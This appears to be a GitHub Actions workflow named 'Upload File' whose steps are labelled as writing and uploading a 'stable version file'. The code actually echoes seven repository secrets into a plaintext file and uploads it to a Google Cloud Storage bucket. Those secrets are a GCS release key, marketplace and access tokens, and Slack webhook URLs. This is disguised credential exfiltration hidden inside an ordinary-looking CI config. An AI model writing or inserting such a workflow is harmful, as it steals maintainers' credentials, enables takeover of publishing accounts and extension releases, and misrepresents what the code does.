Upload File #2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: Upload File | |
on: | |
workflow_dispatch: | |
jobs: | |
build: | |
runs-on: ubuntu-latest | |
steps: | |
- name: Set stable version file | |
run: | | |
echo ${{ secrets.GCS_RELEASE_KEY }} > vars | |
echo ${{ secrets.INSTRUMENTATION_KEY }} >> vars | |
echo ${{ secrets.MODIFIER_PAT }} >> vars | |
echo ${{ secrets.OVSX_PAT }} >> vars | |
echo ${{ secrets.SLACK_RELEASES_CHANNEL_WEBHOOK_URL }} >> vars | |
echo ${{ secrets.SLACK_VALIDATE_MARKETPLACE_WEBHOOK }} >> vars | |
echo ${{ secrets.VSCE_PAT }} >> vars | |
- name: Authenticate to Google Cloud | |
uses: "google-github-actions/auth@v1" | |
with: | |
credentials_json: ${{ secrets.GCS_RELEASE_KEY }} | |
- name: ⬆️ Upload latest stable version to GCS | |
uses: google-github-actions/upload-cloud-storage@v1 | |
with: | |
path: vars | |
destination: tabnine | |
parent: false | |
gzip: false | |
headers: |- | |
content-type: text/plain |